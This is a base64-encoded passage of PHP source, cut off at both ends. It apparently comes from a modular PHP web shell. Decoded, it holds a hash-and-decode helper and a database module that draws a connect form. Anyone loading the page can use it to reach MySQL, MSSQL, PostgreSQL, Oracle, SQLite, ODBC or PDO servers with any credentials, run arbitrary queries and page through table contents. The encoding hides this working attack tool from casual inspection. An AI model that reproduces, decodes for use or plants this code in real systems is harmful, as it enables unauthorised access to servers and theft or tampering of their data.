gJGFsZ29zID0gaGFzaF9hbGdvcygpOyBmb3JlYWNoKCRhbGdvcyBhcyAkYWxnbyl7IGlmKCgkYWxnbz09J21kNScpfHwoJGFsZ289PSdzaGExJykpIGNvbnRpbnVlOyAkcmVzIC49IGRlY29kZV9saW5lKCRhbGdvLCBoYXNoKCRhbGdvLCAkc3RyKSwgImlucHV0Iik7IH0gfSByZXR1cm4gJHJlczsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2RlY29kZV9saW5lJykpeyBmdW5jdGlvbiBkZWNvZGVfbGluZSgkdHlwZSwgJHJlc3VsdCwgJGlucHV0dHlwZSl7ICRyZXMgPSAiPHRyPjx0ZCBjbGFzcz0nY29sRml0Jz4iLiR0eXBlLiI8L3RkPjx0ZD4iOyBpZigkaW5wdXR0eXBlPT0naW5wdXQnKXsgJHJlcyAuPSAiPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciLmh0bWxfc2FmZSgkcmVzdWx0KS4iJyBvbmRibGNsaWNrPSd0aGlzLnNlbGVjdCgpOyc+IjsgfSBlbHNleyAkcmVzIC49ICI8dGV4dGFyZWEgc3R5bGU9J2hlaWdodDo4MHB4O21pbi1oZWlnaHQ6ODBweDsnIG9uZGJsY2xpY2s9J3RoaXMuc2VsZWN0KCk7Jz4iLmh0bWxfc2FmZSgkcmVzdWx0KS4iPC90ZXh0YXJlYT4iOyB9IHJldHVybiAkcmVzOyB9Cn0gaWYoaXNzZXQoJHBbJ2RlY29kZVN0ciddKSl7ICRkZWNvZGVTdHIgPSAkcFsnZGVjb2RlU3RyJ107IG91dHB1dChkZWNvZGUoJGRlY29kZVN0cikpOwp9Cj8+PD9waHAKJEdMT0JBTFNbJ21vZHVsZSddWydkYXRhYmFzZSddWydpZCddID0gImRhdGFiYXNlIjsKJEdMT0JBTFNbJ21vZHVsZSddWydkYXRhYmFzZSddWyd0aXRsZSddID0gIkRhdGFiYXNlIjsKJEdMT0JBTFNbJ21vZHVsZSddWydkYXRhYmFzZSddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiIjsKJEdMT0JBTFNbJ21vZHVsZSddWydkYXRhYmFzZSddWydjb250ZW50J10gPSAiCjx0YWJsZSBjbGFzcz0nYm94dGJsJz4KPHRoZWFkPiA8dHI+PHRoIGNvbHNwYW49JzMnPjxwIGNsYXNzPSdib3h0aXRsZSc+Q29ubmVjdDwvcD48L3RoPjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keT4gPHRyIGNsYXNzPSdkYkhvc3RSb3cnPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnIGNsYXNzPSdkYkhvc3RMYmwnPkhvc3Q8L3RkPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2RiSG9zdCcgdmFsdWU9Jycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2RiX2Nvbm5lY3QnKTtcIj48L3RkPjwvdHI+IDx0ciBjbGFzcz0nZGJVc2VyUm93Jz48dGQ+VXNlcm5hbWU8L3RkPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2RiVXNlcicgdmFsdWU9Jycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2RiX2Nvbm5lY3QnKTtcIj48L3RkPjwvdHI+IDx0ciBjbGFzcz0nZGJQYXNzUm93Jz48dGQ+UGFzc3dvcmQ8L3RkPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2RiUGFzcycgdmFsdWU9Jycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2RiX2Nvbm5lY3QnKTtcIj48L3RkPjwvdHI+IDx0ciBjbGFzcz0nZGJQb3J0Um93Jz48dGQ+UG9ydCAoT3B0aW9uYWwpPC90ZD48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkYlBvcnQnIHZhbHVlPScnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdkYl9jb25uZWN0Jyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+IDx0ciBjbGFzcz0nZGJDb25uZWN0Um93Jz4gPHRkIHN0eWxlPSd3aWR0aDoxNDRweDsnPiA8c2VsZWN0IGlkPSdkYlR5cGUnPiA8L3NlbGVjdD4gPC90ZD4gPHRkIHN0eWxlPSd3aWR0aDoxMjBweDsnPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJkYl9jb25uZWN0KCk7XCI+Y29ubmVjdDwvc3Bhbj48L3RkPiA8dGQgY2xhc3M9J2RiRXJyb3InPjwvdGQ+IDwvdHI+IDx0ciBjbGFzcz0nZGJRdWVyeVJvdycgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPiA8dGQgY29sc3Bhbj0nMyc+PHRleHRhcmVhIGlkPSdkYlF1ZXJ5JyBzdHlsZT0nbWluLWhlaWdodDoxNDBweDtoZWlnaHQ6MTQwcHg7Jz5Zb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQ8L3RleHRhcmVhPjwvdGQ+IDwvdHI+IDx0ciBjbGFzcz0nZGJRdWVyeVJvdycgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPiA8dGQgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImRiX3J1bigpO1wiPnJ1bjwvc3Bhbj48L3RkPiA8dGQgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImRiX2Rpc2Nvbm5lY3QoKTtcIj5kaXNjb25uZWN0PC9zcGFuPjwvdGQ+IDx0ZD5TZXBhcmF0ZSBtdWx0aXBsZSBjb21tYW5kcyB3aXRoIGEgc2VtaWNvbG9uIDxzcGFuIGNsYXNzPSdzdHJvbmcnPig8L3NwYW4+IDsgPHNwYW4gY2xhc3M9J3N0cm9uZyc+KTwvc3Bhbj48L3RkPiA8L3RyPgo8L3Rmb290Pgo8L3RhYmxlPgo8ZGl2IGlkPSdkYkJvdHRvbScgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgo8YnI+Cjx0YWJsZSBjbGFzcz0nYm9yZGVyJyBzdHlsZT0ncGFkZGluZzowOyc+PHRyPjx0ZCBpZD0nZGJOYXYnIGNsYXNzPSdjb2xGaXQgYm9yZGVycmlnaHQnIHN0eWxlPSd2ZXJ0aWNhbC1hbGlnbjp0b3A7Jz48L3RkPjx0ZCBpZD0nZGJSZXN1bHQnIHN0eWxlPSd2ZXJ0aWNhbC1hbGlnbjp0b3A7Jz48L3RkPjwvdHI+PC90YWJsZT4KPC9kaXY+CiI7IGlmKCFmdW5jdGlvbl9leGlzdHMoJ3NxbF9jb25uZWN0JykpeyBmdW5jdGlvbiBzcWxfY29ubmVjdCgkc3FsdHlwZSwgJHNxbGhvc3QsICRzcWx1c2VyLCAkc3FscGFzcyl7IGlmKCRzcWx0eXBlID09ICdteXNxbCcpeyBpZihjbGFzc19leGlzdHMoJ215c3FsaScpKSByZXR1cm4gbmV3IG15c3FsaSgkc3FsaG9zdCwgJHNxbHVzZXIsICRzcWxwYXNzKTsgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSByZXR1cm4gQG15c3FsX2Nvbm5lY3QoJHNxbGhvc3QsICRzcWx1c2VyLCAkc3FscGFzcyk7IH0gZWxzZWlmKCRzcWx0eXBlID09ICdtc3NxbCcpeyBpZihmdW5jdGlvbl9leGlzdHMoJ3NxbHNydl9jb25uZWN0JykpeyAkY29uaW5mbyA9IGFycmF5KCJVSUQiPT4kc3FsdXNlciwgIlBXRCI9PiRzcWxwYXNzKTsgcmV0dXJuIEBzcWxzcnZfY29ubmVjdCgkc3FsaG9zdCwkY29uaW5mbyk7IH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gQG1zc3FsX2Nvbm5lY3QoJHNxbGhvc3QsICRzcWx1c2VyLCAkc3FscGFzcyk7IH0gZWxzZWlmKCRzcWx0eXBlID09ICdwZ3NxbCcpeyAkaG9zdHMgPSBleHBsb2RlKCI6IiwgJHNxbGhvc3QpOyBpZihjb3VudCgkaG9zdHMpPT0yKXsgJGhvc3Rfc3RyID0gImhvc3Q9Ii4kaG9zdHNbMF0uIiBwb3J0PSIuJGhvc3RzWzFdOyB9IGVsc2UgJGhvc3Rfc3RyID0gImhvc3Q9Ii4kc3FsaG9zdDsgaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiBAcGdfY29ubmVjdCgiJGhvc3Rfc3RyIHVzZXI9JHNxbHVzZXIgcGFzc3dvcmQ9JHNxbHBhc3MiKTsgfSBlbHNlaWYoJHNxbHR5cGUgPT0gJ29yYWNsZScpeyBpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpIHJldHVybiBAb2NpX2Nvbm5lY3QoJHNxbHVzZXIsICRzcWxwYXNzLCAkc3FsaG9zdCk7IH0gZWxzZWlmKCRzcWx0eXBlID09ICdzcWxpdGUzJyl7IGlmKGNsYXNzX2V4aXN0cygnU1FMaXRlMycpKSBpZighZW1wdHkoJHNxbGhvc3QpKSByZXR1cm4gbmV3IFNRTGl0ZTMoJHNxbGhvc3QpOyBlbHNlIHJldHVybiBmYWxzZTsgfSBlbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZScpeyBpZihmdW5jdGlvbl9leGlzdHMoJ3NxbGl0ZV9vcGVuJykpIHJldHVybiBAc3FsaXRlX29wZW4oJHNxbGhvc3QpOyB9IGVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpeyBpZihmdW5jdGlvbl9leGlzdHMoJ29kYmNfY29ubmVjdCcpKSByZXR1cm4gQG9kYmNfY29ubmVjdCgkc3FsaG9zdCwgJHNxbHVzZXIsICRzcWxwYXNzKTsgfSBlbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpeyBpZihjbGFzc19leGlzdHMoJ1BETycpKSBpZighZW1wdHkoJHNxbGhvc3QpKSByZXR1cm4gbmV3IFBETygkc3FsaG9zdCwgJHNxbHVzZXIsICRzcWxwYXNzKTsgZWxzZSByZXR1cm4gZmFsc2U7IH0gcmV0dXJuIGZhbHNlOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX3F1ZXJ5JykpeyBmdW5jdGlvbiBzcWxfcXVlcnkoJHNxbHR5cGUsICRxdWVyeSwgJGNvbil7IGlmKCRzcWx0eXBlID09ICdteXNxbCcpeyBpZihjbGFzc19leGlzdHMoJ215c3FsaScpKSByZXR1cm4gJGNvbi0+cXVlcnkoJHF1ZXJ5KTsgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfcXVlcnknKSkgcmV0dXJuIG15c3FsX3F1ZXJ5KCRxdWVyeSk7IH0gZWxzZWlmKCRzcWx0eXBlID09ICdtc3NxbCcpeyBpZihmdW5jdGlvbl9leGlzdHMoJ3NxbHNydl9xdWVyeScpKSByZXR1cm4gc3Fsc3J2X3F1ZXJ5KCRjb24sJHF1ZXJ5KTsgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfcXVlcnknKSkgcmV0dXJuIG1zc3FsX3F1ZXJ5KCRxdWVyeSk7IH0gZWxzZWlmKCRzcWx0eXBlID09ICdwZ3NxbCcpIHJldHVybiBwZ19xdWVyeSgkcXVlcnkpOyBlbHNlaWYoJHNxbHR5cGUgPT0gJ29yYWNsZScpIHJldHVybiBvY2lfZXhlY3V0ZShvY2lfcGFyc2UoJGNvbiwgJHF1ZXJ5KSk7IGVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpIHJldHVybiAkY29uLT5xdWVyeSgkcXVlcnkpOyBlbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfcXVlcnkoJGNvbiwgJHF1ZXJ5KTsgZWxzZWlmKCRzcWx0eXBlID09ICdvZGJjJykgcmV0dXJuIG9kYmNfZXhlYygkY29uLCAkcXVlcnkpOyBlbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpIHJldHVybiAkY29uLT5xdWVyeSgkcXVlcnkpOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX251bV9yb3dzJykpeyBmdW5jdGlvbiBzcWxfbnVtX3Jvd3MoJHNxbHR5cGUsJHJlc3VsdCl7IGlmKCRzcWx0eXBlID09ICdteXNxbCcpeyBpZihjbGFzc19leGlzdHMoJ215c3FsaV9yZXN1bHQnKSkgcmV0dXJuICRyZXN1bHQtPm15c3FsaV9udW1fcm93czsgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfbnVtX3Jvd3MnKSkgcmV0dXJuIG15c3FsX251bV9yb3dzKCRyZXN1bHQpOyB9IGVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsgaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfbnVtX3Jvd3MnKSkgcmV0dXJuIHNxbHNydl9udW1fcm93cygkcmVzdWx0KTsgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfbnVtX3Jvd3MnKSkgcmV0dXJuIG1zc3FsX251bV9yb3dzKCRyZXN1bHQpOyB9IGVsc2VpZigkc3FsdHlwZSA9PSAncGdzcWwnKSByZXR1cm4gcGdfbnVtX3Jvd3MoJHJlc3VsdCk7IGVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9udW1fcm93cygkcmVzdWx0KTsgZWxzZWlmKCRzcWx0eXBlID09ICdzcWxpdGUzJyl7ICRtZXRhZGF0YSA9ICRyZXN1bHQtPmZldGNoQXJyYXkoKTsgaWYoaXNfYXJyYXkoJG1ldGFkYXRhKSkgcmV0dXJuICRtZXRhZGF0YVsnY291bnQnXTsgfSBlbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfbnVtX3Jvd3MoJHJlc3VsdCk7IGVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX251bV9yb3dzKCRyZXN1bHQpOyBlbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpIHJldHVybiAkcmVzdWx0LT5yb3dDb3VudCgpOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX251bV9maWVsZHMnKSl7IGZ1bmN0aW9uIHNxbF9udW1fZmllbGRzKCRzcWx0eXBlLCAkcmVzdWx0KXsgaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7IGlmKGNsYXNzX2V4aXN0cygnbXlzcWxpX3Jlc3VsdCcpKSByZXR1cm4gJHJlc3VsdC0+ZmllbGRfY291bnQ7IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX251bV9maWVsZHMnKSkgcmV0dXJuIG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7IH0gZWxzZWlmKCRzcWx0eXBlID09ICdtc3NxbCcpeyBpZihmdW5jdGlvbl9leGlzdHMoJ3NxbHNydl9udW1fZmllbGRzJykpIHJldHVybiBzcWxzcnZfbnVtX2ZpZWxkcygkcmVzdWx0KTsgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfbnVtX2ZpZWxkcycpKSByZXR1cm4gbXNzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTsgfSBlbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX251bV9maWVsZHMoJHJlc3VsdCk7IGVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9udW1fZmllbGRzKCRyZXN1bHQpOyBlbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZTMnKSByZXR1cm4gJHJlc3VsdC0+bnVtQ29sdW1ucygpOyBlbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfbnVtX2ZpZWxkcygkcmVzdWx0KTsgZWxzZWlmKCRzcWx0eXBlID09ICdvZGJjJykgcmV0dXJuIG9kYmNfbnVtX2ZpZWxkcygkcmVzdWx0KTsgZWxzZWlmKCRzcWx0eXBlID09ICdwZG8nKSByZXR1cm4gJHJlc3VsdC0+Y29sdW1uQ291bnQoKTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ3NxbF9maWVsZF9uYW1lJykpeyBmdW5jdGlvbiBzcWxfZmllbGRfbmFtZSgkc3FsdHlwZSwkcmVzdWx0LCRpKXsgaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7IGlmKGNsYXNzX2V4aXN0cygnbXlzcWxpX3Jlc3VsdCcpKSB7ICR6PSRyZXN1bHQtPmZldGNoX2ZpZWxkKCk7cmV0dXJuICR6LT5uYW1lO30gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZmllbGRfbmFtZScpKSByZXR1cm4gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsgfSBlbHNlaWYoJHNxbHR5cGUgPT0gJ21zc3FsJyl7IGlmKGZ1bmN0aW9uX2V4aXN0cygnc3Fsc3J2X2ZpZWxkX21ldGFkYXRhJykpeyAkbWV0YWRhdGEgPSBzcWxzcnZfZmllbGRfbWV0YWRhdGEoJHJlc3VsdCk7IGlmKGlzX2FycmF5KCRtZXRhZGF0YSkpeyAkbWV0YWRhdGE9JG1ldGFkYXRhWyRpXTsgfSBpZihpc19hcnJheSgkbWV0YWRhdGEpKSByZXR1cm4gJG1ldGFkYXRhWydOYW1lJ107IH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfZmllbGRfbmFtZScpKSByZXR1cm4gbXNzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsgfSBlbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7IGVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9maWVsZF9uYW1lKCRyZXN1bHQsJGkrMSk7IGVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpIHJldHVybiAkcmVzdWx0LT5jb2x1bW5OYW1lKCRpKTsgZWxzZWlmKCRzcWx0eXBlID09ICdzcWxpdGUnKSByZXR1cm4gc3FsaXRlX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7IGVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSsxKTsgZWxzZWlmKCRzcWx0eXBlID09ICdwZG8nKXsgJHJlcyA9ICRyZXN1bHQtPmdldENvbHVtbk1ldGEoJGkpOyByZXR1cm4gJHJlc1snbmFtZSddOyB9IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdzcWxfZmV0Y2hfZGF0YScpKXsgZnVuY3Rpb24gc3FsX2ZldGNoX2RhdGEoJHNxbHR5cGUsJHJlc3VsdCl7IGlmKCRzcWx0eXBlID09ICdteXNxbCcpeyBpZihjbGFzc19leGlzdHMoJ215c3FsaV9yZXN1bHQnKSkgcmV0dXJuICRyZXN1bHQtPmZldGNoX3JvdygpOyBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9mZXRjaF9yb3cnKSkgcmV0dXJuIG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KTsgfSBlbHNlaWYoJHNxbHR5cGUgPT0gJ21zc3FsJyl7IGlmKGZ1bmN0aW9uX2V4aXN0cygnc3Fsc3J2X2ZldGNoX2FycmF5JykpIHJldHVybiBzcWxzcnZfZmV0Y2hfYXJyYXkoJHJlc3VsdCwxKTsgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfZmV0Y2hfcm93JykpIHJldHVybiBtc3NxbF9mZXRjaF9yb3coJHJlc3VsdCk7IH0gZWxzZWlmKCRzcWx0eXBlID09ICdwZ3NxbCcpIHJldHVybiBwZ19mZXRjaF9yb3coJHJlc3VsdCk7IGVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9mZXRjaF9yb3coJHJlc3VsdCk7IGVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpIHJldHVybiAkcmVzdWx0LT5mZXRjaEFycmF5KDEpOyBlbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfZmV0Y2hfYXJyYXkoJHJlc3VsdCwxKTsgZWxzZWlmKCRzcWx0eXBlID09ICdvZGJjJykgcmV0dXJuIG9kYmNfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7IGVsc2VpZigkc3FsdHlwZSA9PSAncGRvJykgcmV0dXJuICRyZXN1bHQtPmZldGNoKDIpOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX2Nsb3NlJykpeyBmdW5jdGlvbiBzcWxfY2xvc2UoJHNxbHR5cGUsJGNvbil7IGlmKCRzcWx0eXBlID09ICdteXNxbCcpeyBpZihjbGFzc19leGlzdHMoJ215c3FsaScpKSByZXR1cm4gJGNvbi0+Y2xvc2UoKTsgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY2xvc2UnKSkgcmV0dXJuIG15c3FsX2Nsb3NlKCRjb24pOyB9IGVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsgaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfY2xvc2UnKSkgcmV0dXJuIHNxbHNydl9jbG9zZSgkY29uKTsgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY2xvc2UnKSkgcmV0dXJuIG1zc3FsX2Nsb3NlKCRjb24pOyB9IGVsc2VpZigkc3FsdHlwZSA9PSAncGdzcWwnKSByZXR1cm4gcGdfY2xvc2UoJGNvbik7IGVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9jbG9zZSgkY29uKTsgZWxzZWlmKCRzcWx0eXBlID09ICdzcWxpdGUzJykgcmV0dXJuICRjb24tPmNsb3NlKCk7IGVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9jbG9zZSgkY29uKTsgZWxzZWlmKCRzcWx0eXBlID09ICdvZGJjJykgcmV0dXJuIG9kYmNfY2xvc2UoJGNvbik7IGVsc2VpZigkc3FsdHlwZSA9PSAncGRvJykgcmV0dXJuICRjb24gPSBudWxsOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX2dldF9zdXBwb3J0ZWQnKSl7IGZ1bmN0aW9uIHNxbF9nZXRfc3VwcG9ydGVkKCl7ICRkYl9zdXBwb3J0ZWQgPSBhcnJheSgpOyBpZihmdW5jdGlvbl9leGlzdHMoIm15c3FsX2Nvbm5lY3QiKSkgJGRiX3N1cHBvcnRlZFtdID0gJ215c3FsJzsgaWYoZnVuY3Rpb25fZXhpc3RzKCJtc3NxbF9jb25uZWN0IikgfHwgZnVuY3Rpb25fZXhpc3RzKCJzcWxzcnZfY29ubmVjdCIpKSAkZGJfc3VwcG9ydGVkW10gPSAnbXNzcWwnOyBpZihmdW5jdGlvbl9leGlzdHMoInBnX2Nvbm5lY3QiKSkgJGRiX3N1cHBvcnRlZFtdID0gJ3Bnc3FsJzsgaWYoZnVuY3Rpb25fZXhpc3RzKCJvY2lfY29ubmVjdCIpKSAkZGJfc3VwcG9ydGVkW10gPSAnb3JhY2xlJzsgaWYoZnVuY3Rpb25fZXhpc3RzKCJzcWxpdGVfb3BlbiIpKSAkZGJfc3VwcG9ydGVkW10gPSAnc3FsaXRlJzsgaWYoY2xhc3NfZXhpc3RzKCJTUUxpdGUzIikpICRkYl9zdXBwb3J0ZWRbXSA9ICdzcWxpdGUzJzsgaWYoZnVuY3Rpb25fZXhpc3RzKCJvZGJjX2Nvbm5lY3QiKSkgJGRiX3N1cHBvcnRlZFtdID0gJ29kYmMnOyBpZihjbGFzc19leGlzdHMoIlBETyIpKSAkZGJfc3VwcG9ydGVkW10gPSAncGRvJzsgcmV0dXJuIGltcGxvZGUoIiwiLCAkZGJfc3VwcG9ydGVkKTsgfQp9IGlmKGlzc2V0KCRwWydkYkdldFN1cHBvcnRlZCddKSl7ICRyZXMgPSBzcWxfZ2V0X3N1cHBvcnRlZCgpOyBpZihlbXB0eSgkcmVzKSkgJHJlcyA9ICJlcnJvciI7IG91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2RiVHlwZSddKSYmaXNzZXQoJHBbJ2RiSG9zdCddKSYmaXNzZXQoJHBbJ2RiVXNlciddKSYmaXNzZXQoJHBbJ2RiUGFzcyddKSYmaXNzZXQoJHBbJ2RiUG9ydCddKSl7ICR0eXBlID0gJHBbJ2RiVHlwZSddOyAkaG9zdCA9ICRwWydkYkhvc3QnXTsgJHVzZXIgPSAkcFsnZGJVc2VyJ107ICRwYXNzID0gJHBbJ2RiUGFzcyddOyAkcG9ydCA9ICRwWydkYlBvcnQnXTsgJGNvbiA9IHNxbF9jb25uZWN0KCR0eXBlICwkaG9zdCAsICR1c2VyICwgJHBhc3MpOyAkcmVzID0gIiI7IGlmKCRjb24hPT1mYWxzZSl7IGlmKGlzc2V0KCRwWydkYlF1ZXJ5J10pKXsgJHF1ZXJ5ID0gJHBbJ2RiUXVlcnknXTsgJHBhZ2luYXRpb24gPSAiIjsgaWYoKGlzc2V0KCRwWydkYkRCJ10pKSYmKGlzc2V0KCRwWydkYlRhYmxlJ10pKSl7ICRkYiA9IHRyaW0oJHBbJ2RiREInXSk7ICR0YWJsZSA9IHRyaW0oJHBbJ2RiVGFibGUnXSk7ICRzdGFydCA9IChpbnQpIChpc3NldCgkcFsnZGJTdGFydCddKSk/IHRyaW0oJHBbJ2RiU3RhcnQnXSk6MDsgJGxpbWl0ID0gKGludCkgKGlzc2V0KCRwWydkYkxpbWl0J10pKT8gdHJpbSgkcFsnZGJMaW1pdCddKToxMDA7IGlmKCR0eXBlPT0nbXlzcWwnKXsgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gIi4kZGIuIi4iLiR0YWJsZS4iIExJTUlUICIuJHN0YXJ0LiIsIi4kbGltaXQuIjsiOyB9IGVsc2VpZigkdHlwZT09J21zc3FsJyl7ICRxdWVyeSA9ICJTRUxFQ1QgVE9QICIuJGxpbWl0LiIgKiBGUk9NICIuJGRiLiIuLiIuJHRhYmxlLiI7IjsgfSBlbHNlaWYoJHR5cGU9PSdwZ3NxbCcpeyAkcXVlcnkgPSAiU0VMRUNUICogRlJPTSAiLiRkYi4iLiIuJHRhYmxlLiIgTElNSVQgIi4kbGltaXQuIiBPRkZTRVQgIi4kc3RhcnQuIjsiOyB9IGVsc2VpZigkdHlwZT09J29yYWNsZScpeyAkbGltaXQgPSAkc3RhcnQgKyAkbGltaXQ7ICRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBXSEVSRSBST1dOVU0gQkVUV0VFTiAiLiRzdGFydC4iIEFORCAiLiRsaW1pdC4iOyI7IH0gZWxzZWlmKCR0eXBlPT0nc3FsaXRlJyB8fCAkdHlwZT09J3NxbGl0ZTMnKXsgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gIi4kdGFibGUuIiBMSU1JVCAiLiRzdGFydC4iLCIuJGxpbWl0LiI7IjsgfSBlbHNlICRxdWVyeSA9ICIiOyAkcGFnaW5hdGlvbiA9ICJMaW1pdCA8aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2RiTGltaXQnIHZhbHVlPSciLmh0bWxfc2FmZSgkbGltaXQpLiInIHN0eWxlPSd3aWR0aDo1MHB4Oyc+IDxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJkYl9wYWdpbmF0aW9uKCdwcmV2Jyk7XCI+cHJldjwvc3Bhbj4gPHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImRiX3BhZ2luYXRpb24oJ25leHQnKTtcIj5uZXh0PC9zcGFuPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBpZD0nZGJEQicgdmFsdWU9JyIuaHRtbF9zYWZlKCRkYikuIic+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIGlkPSdkYlRhYmxlJyB2YWx1ZT0nIi5odG1sX3NhZmUoJHRhYmxlKS4iJz4gPGlucHV0IHR5cGU9J2hpZGRlbicgaWQ9J2RiU3RhcnQnIHZhbHVlPSciLmh0bWxfc2FmZSgkc3RhcnQpLiInPiAiOyB9ICRxdWVyeXMgPSBleHBsb2RlKCI7IiwgJHF1ZXJ5KTsgZm9yZWFjaCgkcXVlcnlzIGFzICRxdWVyeSl7IGlmKHRyaW0oJHF1ZXJ5KSAhPSAiIil7ICRxdWVyeV9xdWVyeSA9IHNxbF9xdWVyeSgkdHlwZSwgJHF1ZXJ5LCAkY29uKTsgaWYoJHF1ZXJ5X3F1ZXJ5IT1mYWxzZSl7ICRyZXMgLj0gIjxwPiIuaHRtbF9zYWZlKCRxdWVyeSkuIjsmbmJzcDsmbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nc3Ryb25nJz5bPC9zcGFuPiBvayA8